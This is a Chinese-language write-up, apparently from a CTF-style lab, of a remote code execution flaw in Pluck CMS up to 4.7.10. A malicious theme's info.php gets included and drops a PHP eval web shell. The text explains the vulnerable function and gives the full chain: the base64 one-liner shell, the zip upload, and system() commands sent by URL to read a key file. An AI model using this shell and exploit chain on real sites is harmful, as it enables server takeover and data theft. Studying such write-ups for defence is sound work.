本漏洞影响
Pluck CMS Pluck CMS <=4.7.10
部分解释来自零组文库
安装模版+文件包含导致任意命令执行
很多CMS都会在安装模版的时候getshell,那么这里笔者也发现了类似的漏洞。
在阅读自己下载下来得源码之后看到
目录下有.htaccess
文件,直接把php设置为不可解析,所以无法直接访问
所以就想到需要找一个位置对其进行包含,来达到执行的目的。
首先看到admin.php
中关于theme
的部分
跟进 data/inc/theme.php,发现调用了get_themes()方法
跟进 functions.all.php,查看get_themes()方法
function get_themes() {
$dirs = read_dir_contents('data/themes', 'dirs');
if ($dirs) {
natcasesort($dirs);
foreach ($dirs as $dir) {
if (file_exists('data/themes/'.$dir.'/info.php')) {
include_once ('data/themes/'.$dir.'/info.php');
$themes[] = array(
'title' => $themename,
'dir' => $dir
);
}
}
return $themes;
}
else
return false;
}
发现会遍历data/themes/下所有主题目录,并且包含他的info.php
文件
此时info.php
可控,就导致了任意代码执行。
下面是复现的过程
根据题目的提示,登录密码是admin
准备的info.php
马如下图,这里使用的是GET
解释一下file_put_contents
file_put_contents ——— 将一个字符串写入文件的函数
与依次调用 fopen(),fwrite()以及 fclose()
功能一样。使用方法如下:
file_put_contents(file,data,mode,context)
所以info.php
文件里面写的就是当读取了info.php
就会自动执行file_put_contents
的内容
那么我们现在来创建一个名为zoe.php
用base64
编码的一句话GET
木马
base64:PD9waHAgQGV2YWwoJF9HRVRbJ3pvZSddKTs/Pg
解码:<?php @eval($_GET['zoe']);?>
那么问题来了为什么这个一句话要使用GET传参?
_GET是一个数组
_GET的作用域是超全局,不需在脚本内部定义或初始化,即可使用
接收从浏览器客户端GET方式(URL中)传递到服务器的参数
GET传参的参数名做_GET数组的key,参数值做为数组的value
GET传参时,直接将参数拼接到URL中即可
然后把这个文件进行右键压缩变成info.zip
(上传的压缩包里面的php文件名必须是
这个info.php
名字,但是压缩包的名字可以自定义一个)
来这里安装主题,把刚刚的zip上传上去
使用强大的神器hackbar
来GET传参
执行命令得到phpinfo
的信息
说明这个时候我们的一句话木马就执行成功了接下来就是正常的Linux命令
的运用了:
先把phpinfo
改为system
来进行我们下一步的命令执行操作
http://120.25.24.45:32246/zoe.php?zoe=system('ls');
这时我们可以使用强大的Linux查找命令find,构造的语句是find / -name key*
可以看到有一大堆字符串,可以使用浏览器的强大搜索功能发现在/tmp目录
下有key.txt
这里解释一下key*
*
是通配符的意思
http://120.25.24.45:32246/zoe.php?zoe=system('find / -name key*');
很幸运的是,没有过滤什么命令,直接用cat
就可以看到了key
http://120.25.24.45:32246/zoe.php?zoe=system('cat /tmp/key.txt');
修复方法:
建议更新到最新版